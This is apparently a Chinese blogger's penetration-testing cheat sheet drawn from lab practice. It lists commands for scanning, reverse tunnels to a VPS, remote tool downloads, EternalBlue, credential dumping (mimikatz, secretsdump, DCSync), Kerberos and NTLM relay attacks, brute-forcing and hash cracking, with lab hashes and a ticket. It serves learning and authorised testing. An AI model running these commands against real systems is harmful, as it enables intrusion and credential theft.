前言: 打了几个靶场了,学到了很多工具的使用,以及一些渗透的思路。因此,想着做一个总结形成自己一个渗透的流程。(持续更新)
一、工具 工具是渗透测试中不可缺少的,能够正确使用工具才能打好渗透。
补充:很多工具都是需要上传到靶机去运行的,所以这里简单介绍一下。
1 2 3 4 5 //vps python3 -m http.server 2201 //靶机 wget -t 2 http://<VPS_IP>:2201/<工具>
信息搜集 信息搜集主要是搜集ip地址开放的端口以及服务,还有可能存在的漏洞,这些都是后面能够利用到的资产。
通过这些资产可以更容易的实现外网getshell以及内网渗透。
fscan
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
下载:https://github.com/shadow1ng/fscan
外网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //常规扫描 fscan -h <ip> fscan.exe -h <ip> //不扫漏只扫描端口(风险小) fscan -h <ip> -nopoc fscan.exe -h <ip> -nopoc //挂http代理 //vps端 python3 -m http.server 2201 fscan -h <ip> -proxy http://<vps_ip>:2201 fscan.exe -h <ip> -proxy http://<vps_ip>:2201 //挂socks5代理 //利用gost在vps上做正向代理或者vemon等做反向代理 fscan -h <ip> -socks5 <VPS_IP>:1080 scan.exe -h <ip> -socks5 <VPS_IP>:1080
内网
1 2 3 //常规C段扫描 fscan -h 192.168.1.0/24 fscan.exe -h 192.168.1.0/24
nmap
一款用于网络探索或安全审计的实用程序。
下载:kali自带,https://www.kali.org/tools/nmap/
外网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //半开放扫描端口 nmap -Pn -sT <ip> //常见服务探测 nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt <ip> //半开放默认脚本扫漏 nmap -sS -sV -sC --min-rate=10000 <ip> //Vuln漏洞扫描(离线) nmap --script vuln <ip> //Vulners漏洞扫描(在线) nmap -sV --script vulners <ip> //Vulscan漏洞扫描(手动下载脚本 https://github.com/scipag/vulscan) nmap -sV --script=vulscan/vulscan.nse <ip>
dirsearch
一款网站目录扫描工具。
下载:kali自带,https://github.com/maurosoria/dirsearch
1 2 3 4 5 6 7 8 //常规 dirsearch -u https://example.com python dirsearch.py -u http://<ip>:<port> //常用参数 -i 200:只打印响应200的路径 -e php,js,html:指定扫描的文件扩展名 -w /path/to/wordlist.txt:自定义字典
xray
一款为供应链漏洞扫描设计的快速应急响应工具。能够检测XSS漏洞、SQL 注入、命令/代码注入、目录枚举、路径穿越、XML 实体注入、poc 管理、文件上传、弱口令、jsonp、ssrf、基线、任意跳转、CRLF 注入、XStream漏洞、Struts2 系列漏洞、Thinkphp系列漏洞、shiro反序列化漏洞、fastjson系列等。
下载:https://github.com/chaitin/xray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 //利用爬虫扫漏 xray webscan --basic-crawler http://example.com --html-output result.html //不利用爬虫扫漏 xray webscan --url http://example.com/?a=b --html-output result.html //HTTP代理被动扫描(火狐浏览器搭配FoxyProxy) xray webscan --listen 127.0.0.1:7777 --html-output result.html //拉取漏洞库 xpoc.exe pull ./xpoc pull //扫描指定目标 xpoc.exe -t https://example.com -o result.html ./xpoc -t https://example.com -o result.html //批量扫描 xpoc.exe -i targets.txt ./xpoc -i targets.txt //自定义poc(配合gamma写poc) xpoc.exe -r template.yaml -t https://example.com ./xpoc -r template.yaml -t https://example.com
nuclei
一款快速的、基于模板的安全扫描工具,适用于现代应用、基础设施、云平台和网络。提供TCP、DNS、HTTP 、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用 Nuclei模拟各种安全检查
下载:https://github.com/projectdiscovery/nuclei
外网
1 2 3 4 5 6 7 8 9 10 11 //更新模板 nuclei -update-templates //扫描指定目标 nuclei -target https://example.com //批量扫描 nuclei -targets targets.txt //自定义poc(配合gamma写poc) nuclei -u https://example.com -t /path/to/template.yaml
内网
1 2 //常规C段扫描 nuclei -target 192.168.1.0/24
afrog
一款性能卓越、快速稳定、PoC可定制的漏洞扫描 (挖洞)工具,PoC涉及CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型。
下载:https://github.com/zan8in/afrog
1 2 3 4 5 6 7 8 //扫描指定目标 afrog -t https://example.com //批量扫描 afrog -T targets.txt //web漏洞库存储 afrog -web
goby(不推荐)
资产搜集管理集成工具
下载:https://gobies.org/
个人版的基本扫不出漏洞来,只能看看端口服务那些的,这里就不多讲了
wpscan(只针对WordPress)
扫描WordPress的漏洞
下载:kali自带,https://github.com/wpscanteam/wpscan
1 proxychains wpscan --url http://example.com
webshell工具 蚁剑
提供了文件管理、数据库管理、命令执行、虚拟终端等功能。
下载:https://github.com/AntSwordProject/antSword
冰蝎
支持加密通信、内存马(内存 Web Shell)等高级功能。
下载:https://github.com/rebeyond/Behinder
哥斯拉
提供了文件管理、数据库管理、命令执行、虚拟终端、加密通信等功能。
下载:https://github.com/BeichenDream/Godzilla
代理工具 gost
正向代理,能够代理HTTP/HTTPS/HTTP2/SOCKS4(A)/SOCKS5。操作简单,隧道稳定,可以设置多级代理但是比较麻烦。(只挂一级代理推荐)
下载:https://github.com/ginuerzh/gost
单级代理
多级代理
1 2 3 4 5 6 7 8 //第三层跳板,设置代理 ./gost -L mtls+kcp://admin:[email protected] :1111 //第二层跳板,设置代理,且指定后续跳转到第三层跳板 ./gost -L=socks5://admin:admin@:1111 -F=mtls+kcp://admin:admin@第三层跳板的IP:1111 //第一层跳板,开启代理1080端口,且指定第二层和第三层跳板 ./gost -L socks5://:1080 -F=mtls+kcp://admin:admin@第二层跳板的IP:1111 -F=mtls+kcp://admin:123456@第三层跳板的IP:1111
venom
多级反向代理但是只能代理SOCKS5。可以搭建多级代理,操作简单,但是隧道不稳定代理容易断。
下载:https://github.com/Dliv3/Venom
单级代理
1 2 3 4 5 6 7 8 9 //vps ./admin_linux_x64 -lport 1111 //靶机 ./agent_linux_x64 -rhost <your_vps_ip> -rport 1111 //进入交互 show goto 1 socks 1080
多级代理
1 2 3 4 5 6 7 8 9 10 //交互处 listen 1234 //二级靶机 ./agent_linux_x64 -rhost <一级代理ip> -rport 1234 & //进入交互 show goto 2 socks 1234
suo5
反向代理,高性能 HTTP隧道代理,能够代理SOCKS5,支持全双工和半双工模式。操作简单有GUI版本(由于我的GUI版本总是有问题所以我都是用命令行),但是需要上传并访问suo5.php
等页面,需要web服务,虽然是反向代理但还是比较稳定的。
下载:https://github.com/zema1/suo5
1 2 3 //本机 //上传suo5.php到网站目录 suo5.exe -t http://example.com/suo5.php -l 127.0.0.1:1111
frp
高性能、分布式反向代理,可以代理SOCKS5。但是比较麻烦需要配置代理文件(从v0.52.0开始配置文件ini变为toml),而且需要客户端和服务端系统一致。
下载:https://github.com/fatedier/frp
v0.52.0之前
客户端配置ini
1 2 3 4 5 6 7 8 9 10 11 12 //frpc.ini [common] server_addr = <靶机ip> server_port = 7000 auth_token = 123456 [socks5] type = tcp local_ip = 127.0.0.1 local_port = 1080 use_encryption = true use_compression = true
服务器端配置ini
1 2 3 4 5 6 7 8 9 //frps.ini [common] bind_port = 7000 [socks5] type = tcp remote_port = 1080 auth_token = 123456 auth_users = admin:admin
启动
1 2 3 4 5 //vps ./frpc -c ./frpc.ini //靶机 ./frps -c ./frps.ini
v0.52.0之后
客户端配置toml
1 2 3 4 5 6 7 8 9 10 //frpc.toml serverAddr = <靶机ip> serverPort = 7000 [[proxies]] name = "socks5" type = "tcp" remotePort = 1080 [proxies.plugin] type = "socks5"
服务器端配置toml
1 2 //frps.toml bindPort = 7000
启动
1 2 3 4 5 //vps ./frpc -c ./frpc.toml //靶机 ./frps -c ./frps.toml
chisel
快速的 TCP/UDP 隧道,通过 HTTP 输,通过 SSH保护,客户端可以选择通过 SOCKS 或 HTTP CONNECT 代理。可以搭建多级代理,但是也是较为复杂。
下载:https://github.com/jpillora/chisel
单级代理
1 2 3 4 5 //vps ./chisel server -p 1111 --reverse //靶机 ./chisel client <VPS_IP>:1111 R:0.0.0.0:1080:socks
多级代理(第二级被转发到2222端口)
1 2 3 4 5 6 7 8 9 10 11 //第一级靶机 ./chisel server -p 1234 --reverse //第二级靶机 ./chisel client VPS:1234 R:1111:socks //VPS ./chisel server -p 1080 --reverse //第一级靶机(再开一个窗口) ./chisel client 8023826v9d.imdo.co:59775 2222:127.0.0.1:1111 R:2222:socks
代理转发工具 proxifier
Windows应用程序,用于强制将特定应用程序的网络流量通过代理服务器转发。
下载:https://www.smartproxy.cn/?device=c&keyword=proxyfier&gad_source=1&gclid=CjwKCAiArKW-BhAzEiwAZhWsIDuCiuIvYeEwU3rjUiFSjBdc6GJbT9XdK4RbbV5ZQpSfWzT6suC1_xoC4JwQAvD_BwE
添加代理服务器和添加规则(具体使用去我的另一篇文章“春秋云境靶场复现”查看)
proxychains
kali中用于轻量级代理转发的工具,适合简单的代理需求。
下载:kali自带
配置proxychains(具体使用去我的另一篇文章“春秋云境靶场复现”查看)
1 vim /etc/proxychains4.conf
数据库管理工具 navicat
商业化的数据库管理工具,支持多种数据库(如 MySQL、PostgreSQL、Oracle、SQL Server 等)。功能全面的商业化数据库管理工具,连接需要ip,连接后需要开启cmdshell才能执行命令。
下载:https://www.navicat.com/en/
蚁剑
只要前面getshell添加连接成功且改网站有数据库服务,就可以连接管理该网站的数据库。
下载:https://github.com/AntSwordProject/antSword
mdut
集成多种主流数据库类型的中文数据库跨平台使用工具。连接需要ip,连接成功后激活所有组件,将编码改为GBK就可以执行命令了。
下载:https://github.com/SafeGroceryStore/MDUT/
域环境信息搜集工具 SharpHound
用于抓取域内环境分析
下载:https://github.com/SpecterOps/SharpHound
1 2 3 SharpHound.exe -c all 或 powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
BloodHound-python
用于收集和分析AD域环境信息的工具,类似于BloodHound的Python版本。
下载:kali自带,https://www.kali.org/tools/bloodhound.py/
1 2 3 4 5 bloodhound-python -u <用户名> --hashes <NTLM哈希> -d <域名> -dc <域控制器ip> -c <搜集的数据类别,一般选all所有> --dns-tcp -ns <DNS服务器的IP地址> --auth-method ntlm --zip //--dns-tcp:表示使用TCP进行DNS查询。 //--auth-method:指定认证方法。在这里,认证方法是NTLM。 proxychains -q bloodhound-python -u <用户名> -p <对应密码> -d <域名> -c <搜集的数据类别,一般选all所有> -ns <DNS服务器的IP地址> --zip --dns-tcp
BloodHound
用于 Active Directory (AD) 环境的安全分析工具,主要用于识别和利用AD中的攻击路径和权限关系。
下载:https://github.com/SpecterOps/BloodHound-Legacy
1 2 3 4 //启动 neo4j console cd BloodHound /BloodHound --no-sandbox
启动GUI界面后将上面分析工具生成的压缩包拖入BloodHound进行分析
ADinfo
用于查询和显示Active Directory(AD)环境信息的工具,主要用于委派(Delegation)分析、识别和利用AD中的攻击路径和权限关系。
下载:https://github.com/lzzbb/Adinfo
1 Adinfo_win.exe -d <域名> --dc <域控制器ip> -u <用户名> -H <NTLM哈希>
渗透测试工具
源的渗透测试框架,提供了丰富的漏洞利用模块、Payload 生成器、辅助模块等。常用于内网中的永恒之蓝等漏洞getshell,以及生成木马程序getshell
下载:kali自带
以永恒之蓝为例(其他的不做示范了)
1 2 3 4 5 6 msfconsole use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid show options set RHOSTS <靶机host> exploit或run
Cobalt Strike (CS)
商业化的渗透测试工具,专注于红队行动和高级威胁模拟。常用于windows生成木马程序,打横向获取权限。
下载:https://juejin.cn/post/7028872272328785934
cs服务端
1 2 3 //kali //启动 ./teamserver <kali_ip> 123456
cs客户端
windows上直接运行,输入上面的密码进入。
使用方法这里就不介绍了。
impacket工具箱 GetNPUsers
用于从域控制器中提取域用户信息。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py
1 2 3 4 5 //从指定的域控制器中枚举启用了"不要求 Kerberos 预认证"(Do Not Require Pre-Authentication)属性的用户账户,并获取这些用户的AS-REP哈希 proxychains -q impacket-GetUsers -dc-ip <目标域控制器ip> -usersfile <用户名列表文件> -format hashcat <目标域名>/ //-format hashcat:指定输出格式为hashcat格式,方便后续使用hashcat进行离线破解。 //例子 proxychains impacket-GetUsers -dc-ip 172.22.x.x -usersfile user111.txt xiaorang.lab/
GetUserSPNs
用于从域控制器中提取注册了服务主体名称(Service Principal Name, SPN)的账户信息。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //枚举域中所有注册的服务主体名称(SPNs),并从指定的域控制器中请求Kerberos服务票据(Service Tickets),请求成功会尝试获取服务账户的凭据(用户名和密码哈希) proxychains -q impacket-GetUserSPNs -request -dc-ip <目标域控制器ip> <目标域>/<用于认证的用户名>:<用户的密码> //-request:指定工具应请求目标域控制器上的SPN //例子 proxychains -q impacket-GetUserSPNs -request -dc-ip 172.22.x.x xiaorang.lab/zhangjian:i9XDE02pLVf //从指定的域控制器中枚举存在SPN的用户 proxychains -q impacket-GetUserSPNs <目标域>/'<用于认证的计算机账户>' -hashes <NTLM哈希> -dc-ip <目标域控制器ip> //例子 proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.x.x //请求存在SPN指定用户关联的Kerberos服务票据 proxychains -q impacket-GetUserSPNs <目标域>/'<用于认证的计算机账户>' -hashes <NTLM哈希> -dc-ip <目标域控制器ip> -request-user <上面枚举出存在SPN的用户> //例子 proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.x.x -request-user tianjing
smbclient
用于通过SMB协议远程 共享进行交互。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/smbclient.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 //通过SMB协议连接到目标主机 proxychains -q impacket-smbclient <目标主机ip> //连接后进入交互 //列出共享文件夹 shares //连接到共享文件夹 use <文件夹> //列出文件 ls //下载文件 get <文件名> //上传文件 put <本地文件> <上传文件> //退出 exit
wmiexec
通过WMI(Windows Management Instrumentation)远程执行命令
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/wmiexec.py
1 2 3 4 5 //VMI横向 proxychains -q impacket-wmiexec -hashes <NTLM哈希> <目标域>/<用于认证的用户名>@<目标主机ip> -codec gbk //-codec gbk:指定输出编码为GBK,用于正确处理中文字符。 //例子 proxychains impacket-wmiexec XIAORANG/[email protected] -hashes :04d93ffd6f5f6e4490e0de23f240a5e9
psexec
用于通过 SMB 协议远程 执行命令。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/psexec.py
1 2 3 4 5 //SMB横向 proxychains -q impacket-psexec -hashes <NTLM哈希> <目标域>/<用于认证的用户名>@<目标主机ip> -codec gbk //-codec gbk:指定输出编码为GBK,用于正确处理中文字符。 //例子 proxychains -q impacket-psexec -hashes :4889f6553239ace1f7c47fa2c619c252 [email protected] -codec gbk
dacledit
用于编辑Active Directory中的 DACL
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/dacledit.py
由于运行dacledit会出现问题,需要自己添加msada_guids.py 到同一目录下,然后修改 dacledit.py
中的from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
将impacket.
删掉就可以了(这里搞了半天才配好)
1 2 3 4 5 6 7 //修改AD域中某个对象的DACL(自主访问控制列表) proxychains -q impacket-dacledit <目标域>/<执行操作的计算机账户> -hashes <NTLM哈希> -action write -rights DCSync -principal <授予权限的用户或组> -target-dn "<修改权限的对象>" -dc-ip <目标域控制器ip> //-action write:指定要执行的操作是写操作 //-rights DCSync:指定要授予的权限是 DCSync 权限。DCSync 权限允许用户复制域控制器上的所有哈希值。 //-target-dn "DC=xiaorang,DC=lab":指定目标区别名(DN),即要修改权限的对象 //例子 proxychains -q impacket-dacledit xiaorang.lab/XIAORANG-EXC01\$ -hashes :fdfd5bada2b3c7dd34a46ccf9f007199 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
secretsdump
用于从域控制器中提取哈希和敏感信息。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/secretsdump.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 //抓取域管理员的NTLM哈希 proxychains -q impacket-secretsdump <目标域>/<用于认证的用户名>@<目标主机ip> -hashes <NTLM哈希> -just-dc-ntlm //-just-dc-ntlm:指定只转储域控制器的NTLM哈希值。 //例子 proxychains -q impacket-secretsdump xiaorang.lab/[email protected] -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm //从本地的SYSTEM、SAM和SECURITY文件中提取哈希和敏感信息。 impacket-secretsdump LOCAL -system system -sam sam -security security //LOCAL:指定目标系统为本地系统。 //SYSTEM文件:包含加密密钥。 //SAM文件:包含本地用户的哈希值。 //SECURITY文件:含LSA秘密、缓存凭据等信息。 //从本地的NTDS.dit和SYSTEM文件中提取域内用户的哈希和其他敏感信息。 impacket-secretsdump local -ntds ntds.dit -system system //NTDS.dit文件:包含域内所有对象的信息和用户密码哈希。
ntlmrelayx
用于进行 NTLM 中继攻击。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
1 2 3 4 5 6 7 8 proxychains -q impacket-ntlmrelayx -t ldap://<目标主机ip> --no-dump --no-da --no-acl --escalate-user '<要提升权限的用户>' --delegate-access //-t:指定目标协议和地址。在这里,目标协议是 LDAP。 //--no-dump:禁用从目标计算机转储哈希值。 //--no-da:禁用从目标计算机转储目录服务(DA)信息。 //--no-acl:禁用从目标计算机转储访问控制列表(ACL)信息。 //--delegate-access:启用委派访问权限。 //例子 proxychains -q impacket-ntlmrelayx -t ldap://172.22.x.x --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
getST
用于请求 Kerberos服务票据(Service Ticket)。
下载: kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/getST.py
1 2 3 4 5 6 7 8 9 10 11 12 13 //利用哈希申请TGT和S4U2self票据并且冒充administrator用户 proxychains -q impacket-getST -spn cifs/<主机名> -impersonate administrator -hashes <计算机账户的NTLM哈希> <目标域>/<计算机账户> -dc-ip <目标域控制器ip> //-spn:指定服务主体名(Service Principal Name) //CIFS服务:用于文件共享。 //-impersonate:指定要冒充的用户。 //例子 proxychains -q impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :540711072703fde7af17da8dd7dcaa8d xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.x.x //利用密码申请TGT和S4U2self票据并且冒充administrator用户 proxychains -q impacket-getST <目标域>/<计算机账户>:<密码> -spn cifs/<主机名> -impersonate administrator -dc-ip <目标域控制器ip> //例子 proxychains -q impacket-getST xiaorang.lab/TEST\$:123456 -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.x.x
addcomputer
用于在域中创建新的计算机账户。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/addcomputer.py
1 2 3 4 5 //创建机器账户 //机器账户:活动目录中的computers组内的计算机,也被称为机器账号。 proxychains -q impacket-addcomputer <目标域>/<用户名>:<密码> -computer-name <要添加的计算机名称> -computer-pass <添加的计算机的密码> -dc-ip <目标域控制器ip> //例子 proxychains -q impacket-addcomputer xiaorang.lab/zhangxin:'admin4qwY38cc' -computer-name TEST\$ -computer-pass 123456 -dc-ip 172.22.x.x
rbcd
用于管理Windows域中的基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)。
下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/rbcd.py
1 2 3 4 5 6 7 //配置RBCD,将委派对象设置为其他机器。 proxychains -q impacket-rbcd <目标域>/<用户名>:<密码> -dc-ip <目标域控制器ip> -action write -delegate-to <计算机账户> -delegate-from <计算机账户> //-action write:指定操作为写入,即配置资源基于约束委派。 //-delegate-to:指定委派目标。需要允许委派的服务器。 //-delegate-from:指定委派源。需要委派的客户端 //例子 proxychains -q impacket-rbcd xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.x.x -action write -delegate-to FILESERVER\$ -delegate-from TEST\$
密码爆破工具 SNETCracker
支持SSH、RDP、SMB、MySQL、SQLServer、Oracle、FTP、MongoDB、Memcached、PostgreSQL、Telnet、SMTP、SMTP_SSL、POP3、POP3_SSL、IMAP、IMAP_SSL、SVN、VNC、Redis等服务的弱口令检查工作。
下载:https://github.com/shack2/SNETCracker
fscan
支持mssql、mysql、redis、ssh、ftp、smb、rdp、postgres、oracle、mongodb、telnet、vnc、snmp服务的弱口令检查工作。
下载:https://github.com/shadow1ng/fscan
1 fscan.exe -h x.x.x.x -m mssql -pwdf <密码字典>
hydra
大的网络登录破解工具,支持rdp、vnc、smb、telnet、sftp、ftp、ssh、postgres、mssql、mysql、https、http、smtp、imap、pop3、pcanywhere、icq、redis、ldap、socks5、snmp等协议和服务。
下载:kali自带(但是我的好像有问题,所以重装了一个),https://github.com/vanhauser-thc/thc-hydra
1 2 3 4 5 6 7 8 9 10 //爆破具有特定服务的用户和密码 proxychains -q hydra -L <用户列表> -P <密码字典> <目标主机ip> <目标服务> -vV //-vV:启用详细模式,提供更多的输出信息,帮助调试和分析。 //例子 proxychains -q hydra -L user.txt -P pass.txt 172.22.x.x rdp -vV //爆破指定用户的密码 proxychains -q hydra -l <用户名> -P /usr/share/wordlists/rockyou.txt <目标主机ip> <目标服务> -vV //例子 proxychains -q hydra -l Adrian -P /usr/share/wordlists/rockyou.txt 172.22.x.x rdp -vV
提权 SweetPotato
从Windows 7到Windows 10 / Server 2019服务账户到 SYSTEM的Windows特权提升工具
下载:https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato
1 SweetPotato.exe -a "whoami"
SeBackupPrivilegeUtils和SeBackupPrivilegeCmdLets
拥有 SeBackupPrivilege。我们可以使用该权限从目标机器读取和获取任何文件。
下载:https://github.com/k4sth4/SeBackupPrivilege
1 2 3 4 5 6 7 8 9 10 //以管理员运行powershell //导入模块 Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll //启用SeBackupPrivilege特权 Set-SeBackupPrivilege //检查SeBackupPrivilege特权状态 Get-SeBackupPrivilege
其他 CDK
容器渗透工具包
下载:https://github.com/cdk-team/CDK?tab=readme-ov-file
1 2 //环境未安装net-tools ./cdk ifconfig
mimikatz
用于从内存中提取纯文本的 Windows密码、执行传递哈希攻击、将代码注入远程进程、生成黄金票证等。
下载:https://github.com/ParrotSec/mimikatz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 //获取调试权限 privilege::debug //列出当前登录用户的明文密码、哈希值、票据等信息 sekurlsa::logonpasswords //清除当前用户会话中的所有Kerberos票据 kerberos::purge //加载指定的Kerberos票据文件(.kirbi文件) kerberos::ptt <.kirbi文件> //使用DCSync功能从域控制器提取指定用户的哈希值 lsadump::dcsync /domain:xiaorang.lab /user:administrator // /domain指定目标域名。/user指定要提取哈希值的用户。 //在msf中 //加载mimikatz load kiwi //显示所有已提取的凭证 creds_all //利用dcsync权限获取凭证 kiwi_cmd lsadump::dcsync /domain:<目标域名> /all /csv //kiwi_cmd:调用Kiwi的命令行接口。 //lsadump::dcsync:指定使用DCSync模块。 ///domain:指定目标域名。 ///all:提取域中所有用户的凭据。 ///CSV:将结果输出为CSV格式。
Rubeus
用于 Kerberos 攻击和测试的工具,支持请求票据、票据传递(Pass-the-Ticket)等功能。
下载:https://github.com/GhostPack/Rubeus
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 //请求Kerberos票据授予票证(Ticket Granting Ticket, TGT) .\Rubeus.exe asktgt /user:<要请求TGT票据的用户> /rc4:<NTLM哈希(RC4加密类型)> /domain:<目标域> /dc:<域控制器的主机名> /nowrap //asktgt:用于请求TGT票据。 ///nowrap:告诉Rubeus不要包装票据,即在输出中不要包含额外的信息。 //例子 .\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:299022e98a5b862963a4397a23255288 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap //模拟用户权限,票据传递(PtT) .\Rubeus.exe s4u /impersonateuser:<要冒充的用户> /msdsspn:CIFS/DC.xiaorang.lab /dc:<域控制器的主机名> /ptt /ticket:<TGT票据的base64编码> //s4u:执行S4U攻击 // /ptt:告诉Rubeus将票据导入当前会话以模拟用户的凭据。 //例子 .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:<要模拟的服务主体名称> /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3UBosfs+Fgp4c7ROTIF9c8qS0PvJhamZWT+7IoLe2+4f+BJ3LJMsz3fbkEV3xN/EngeVqYI/xg6iCEGTL4IHWHZ+1P+icbfrLKKaTHrexzz4DO/167z9KOSMwi4kKd/HT0Hhn1v86Zo0kq4o/EvOV/eqMjM3N95xwFhHFQUMySqzdHBmfFdheKmOywo7be8L0kfpEz0fIjRbSvP/OpXt74nXvCFeyqBvgYgnw+aVN8qflApwS5r+3wTuYISnKYqtgugK0nOsb6GpW4ge4UcizMX9fQuTI3nGN5IRbuid7uxWeAdUoTvgav4dfeREINK4jC+R1LiR9dkqV+Rr1z1CUiYsIaVGBxkE4VKiB3s2EsrSR0OEvi3n5scB0sMkaMwEWtgRapq77JkWm3KBsoDnE/Cg21dS6cTLO4QHOs1HGfXVSbKWw1C2iCphS3aLc5jUQAz5SOjmwbJ2tbUjapw8UP5hvgoyWJ0JcWtAAQIJMVYsvGi8dC2OWjFwh+uDrpn2xx8YF6b/L5ek91RoYj+Dmmwx3wvq6d+/sLw6A94sU2ildHRcfcp8F8SUbJruJWHUFIp4QZnRlNS2KNjcrN6P/DQb0DUov/YLe2222vRiFCZbABhCmy5JpJQ+/Fn9zvmJ7SsmWitvxwuypmrR0JjnhKq0yM/x00EebcDcVyHKbQ45Cf2XzEEDhHUK/XXObCA1TsT8n78RMgh4EEq7JL1f86ZiT12CSlI60SB7UdokvmAIbbkzsXm9FuQ+AX9c75zDHhqa2LmGebTaVyJD5YmaizZQYjmfUJWseP/1094RwvVncoOy4zt4ujk3Sh/AdxwND6FYM3Vz1m0u7hthVPAwNZX7JAdKQcBjoo6kYQiKkGZ0wZIPZ9C7fz9sxnat5KtCtfHKyDEvCbDXdF8sMRlHecOhzYuLin5Hc21q1UU+y1+D2On+UN8uPSxFlF1gCVL+WU/qwCjazARwoObMegWSp6ulwHuBiHU092+O6lzxPUtDhGnz7i+MrrEQLCnp3HbX0MazuL2bZP//zbrNwjWW8cWq2EEpsi2mO+kwu5mclbdj+ZlnGKcFU5gIOnRVa4GAhsy0Npf5m7YMzM/jFwvkpXcd3rnTD7a1jsUQ8GFaT1HDf/orz+u1XxEMYWE3lAmvAfXmM5JnF7YojKaUGQYpKymExG+r+xQ0VWa9cwfZfRIUSeqzi1U+YcTWQk5te22l265OhPeTd1WcIycwuo9it/Nu971CANRU4S2L84X7+S6fVSpmUI9DOqyHNH28Lw4+9yxpKpscbHuPF9DypbLjt2eKpIQqpxYKr13WtxORw4Ng0IdE2tfPdvt6DMCPoq1sSPP407g93Ze9L5qjCUIRGoABlGFtkMepmkeo03et2ngsgIkguwvv9eLno34dDBrkm3RtAIYxgrtds80BqqswHrMtMOK2gXbIivtbcchbYDTvVhCmBJZYpFvRB0kKqjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBisajzDWT9DHJ8LdL5picEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDExNDIwMDAxN1qmERgPMjAyNTAxMTUwNjAwMTdapxEYDzIwMjUwMTIxMjAwMDE3WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg== //监控域控制器的Kerberos票据授予票证(TGT)和票据授予服务(TGS)请求,被动获取TGT票据 Rubeus.exe monitor /interval:<监控的间隔时间(单位为秒)> /filteruser:<要过滤的用户> //monitor命令:用于监控域中的Kerberos票据请求。 //例子 Rubeus.exe monitor /interval:1 /filteruser:DC01$
kerbrute
用于枚举 Active Directory 用户的工具,通过 Kerberos 协议来验证用户名是否存在。
下载:https://github.com/ropnop/kerbrute
1 2 3 4 5 ./kerbrute userenum --dc <目标域控制器ip> -d <目标域> <用户列表> -t 10 //userenum: 指定用户枚举 //-t:线程数 //例子 ./kerbrute userenum --dc 172.22.x.x -d xiaorang.lab user.txt -t 10
hashcat
一款强大的密码恢复工具,支持多种哈希类型的破解。
下载:kali自带,https://github.com/hashcat/hashcat
1 2 3 4 5 6 7 hashcat -m 18200 <用户哈希列表> -a 0 /usr/share/wordlists/rockyou.txt --force //-m 18200: 这部分指定了要破解的哈希类型,18200对应于NetNTLMv2哈希。 //-a 0: 这部分指定了攻击模式,0 表示直接破解模式(直接暴力破解)。 //rockyou.txt: RockYou字典是一个非常常用的密码字典,包含了大量常见密码,kali里自带但是需要解压一下。 //--force: 这部分强制执行攻击,即忽略一些警告和错误。 //例子 hashcat -m 18200 user222.txt -a 0 /usr/share/wordlists/rockyou.txt --force
